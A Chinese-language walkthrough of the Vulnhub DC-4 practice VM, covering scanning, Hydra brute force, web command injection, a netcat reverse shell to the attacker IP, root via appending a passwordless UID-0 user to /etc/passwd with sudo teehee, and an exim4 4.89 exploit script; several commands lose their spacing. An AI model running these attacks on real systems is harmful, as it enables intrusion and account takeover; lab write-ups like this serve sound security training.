[ Vulnhub实战解析 ] DC-4靶机渗透:从Web登录到双路径提权实战 (附环境配置与工具指南)
1. DC-4靶机环境搭建与配置Vulnhub的DC系列靶机向来是渗透测试初学者的绝佳练手对象DC-4作为该系列的第四代作品延续了前作注重实战的特点。这个靶机特别适合刚接触渗透测试的朋友它只设置了一个flag但提供了多种攻击路径能全面锻炼你的信息收集、漏洞利用和权限提升能力。首先需要从Vulnhub官网下载DC-4的OVA文件。下载完成后用VMware Workstation导入这个虚拟机文件。导入过程中建议保持默认设置只需要注意网络模式要选择NAT模式。我实测发现使用桥接模式可能会导致后续网络探测出现问题。导入完成后启动虚拟机你会看到一个简单的命令行界面这说明靶机已经正常运行了。接下来要确定靶机的IP地址。由于我们使用的是NAT模式靶机和攻击机比如Kali Linux会在同一个子网内。我通常先用ifconfig查看攻击机的IP比如发现攻击机IP是192.168.233.130那么靶机很可能就在192.168.233.0/24这个网段内。这里有个小技巧可以先用arp-scan -l快速扫描本地网络这个命令能立即显示出当前在线的所有设备IP和MAC地址比nmap的ping扫描要快得多。2. 信息收集与漏洞探测确定靶机IP后假设是192.168.233.180就该进行详细的信息收集了。我习惯先用nmap做个全面扫描nmap -A -p- -T4 192.168.233.180参数解释-A启用OS检测和版本检测-p-扫描所有65535个端口-T4加快扫描速度。扫描结果显示靶机开放了22(SSH)和80(HTTP)两个端口分别运行着OpenSSH 7.4p1和nginx 1.15.10。访问80端口的Web服务发现是个简单的登录页面。这种没有验证码的登录框简直就是为爆破准备的。我通常会先用Burp Suite抓包然后尝试一些基本的手工测试测试SQL注入尝试admin --、admin or 11等常见payload测试弱密码admin/admin、admin/password等组合查看页面源码有时开发者会把密码写在注释里如果手工测试无果就该上Hydra进行爆破了。根据经验这类靶机通常会设置可爆破的弱密码。我准备了两份字典一份是常见用户名admin/root/guest等另一份是top1000的密码字典。爆破命令如下hydra -L users.txt -P passwords.txt 192.168.233.180 http-post-form /login.php:username^USER^password^PASS^:Fincorrect大约5分钟后成功爆破出有效凭证admin/happy。这个组合在真实环境中也很常见很多管理员图省事就会设置这种简单密码。3. Web漏洞利用与初始访问登录后台后发现一个Command功能模块看起来可以执行一些预设命令。通过Burp Suite拦截请求发现当点击List Files时实际是向服务器发送了ls -l命令。这立刻引起了我的警觉——是否存在命令注入漏洞测试方法很简单修改请求参数将预设命令替换为whoami。果然服务器返回了当前用户www-data。这说明存在命令注入漏洞但要注意这里的空格需要用号代替这是Web应用中常见的编码方式。既然能执行任意命令下一步自然是获取反向shell。我在攻击机上开启监听nc -nlvp 4444然后在Web应用的命令注入处执行nc-e/bin/bash192.168.233.1304444成功获取到shell后第一件事就是升级为交互式shellpython -c import pty; pty.spawn(/bin/bash)这样我们就可以使用Tab补全、历史命令等便利功能了。记得还要设置正确的终端类型export TERMxterm4. 权限提升teehee路径在www-data权限下我开始寻找提权方法。首先检查/home目录发现有三个用户charles、jim和sam。在jim的目录下发现了个有趣的文件/home/jim/backups/old-passwords.bak这个文件看起来是jim的旧密码列表正好可以用来爆破SSH。把文件下载到本地后用Hydra爆破hydra -l jim -P old-passwords.bak ssh://192.168.233.180成功爆破出jim的密码jibril04。通过SSH登录jim账户后在/var/mail/jim发现了一封邮件内容透露了charles用户的密码^xHhAhvim0y。切换到charles用户后运行sudo -l发现有特别权限User charles may run the following commands on DC-4: (root) NOPASSWD: /usr/bin/teeheeteehee是个文本编辑工具可以用于修改系统关键文件。我通过以下方式提权echo hacker::0:0:::/bin/bash | sudo teehee -a /etc/passwd这行命令的作用是在/etc/passwd文件中添加一个UID为0root权限且无密码的hacker用户。之后只需su hacker就能获得root权限。5. 权限提升exim4路径除了teehee我还发现了另一种提权方法。在www-data权限下查找具有SUID权限的文件find / -perm -4000 -type f 2/dev/null发现/usr/sbin/exim4设置了SUID位。检查版本/usr/sbin/exim4 --version显示是4.89版本这个版本存在已知漏洞。我在攻击机上搜索可用expsearchsploit exim 4.89找到46996.sh这个提权脚本。将其上传到靶机的/tmp目录并执行chmod x 46996.sh ./46996.sh脚本运行后会直接给出root权限的shell。最后在/root目录下就能找到flag.txt文件了。6. 经验总结与技巧分享在DC-4靶机的渗透过程中有几个关键点值得注意密码复用问题jim的旧密码文件直接导致了SSH账户的沦陷。现实中很多用户会在不同服务使用相同密码这种习惯非常危险。邮件信息泄露charles的密码居然通过邮件明文传输。企业环境中应对敏感信息进行加密处理。SUID滥用exim4作为邮件服务根本不需要SUID权限这是典型的配置错误。sudo权限过宽teehee这种能修改系统文件的工具不应该随便授权给普通用户。对于渗透测试初学者我建议在完成基础攻击流程后尝试以下扩展练习不依赖Hydra手工编写Python脚本进行爆破尝试其他反向shell方式比如Python、PHP、Perl等研究exim4漏洞的底层原理理解它是如何突破权限限制的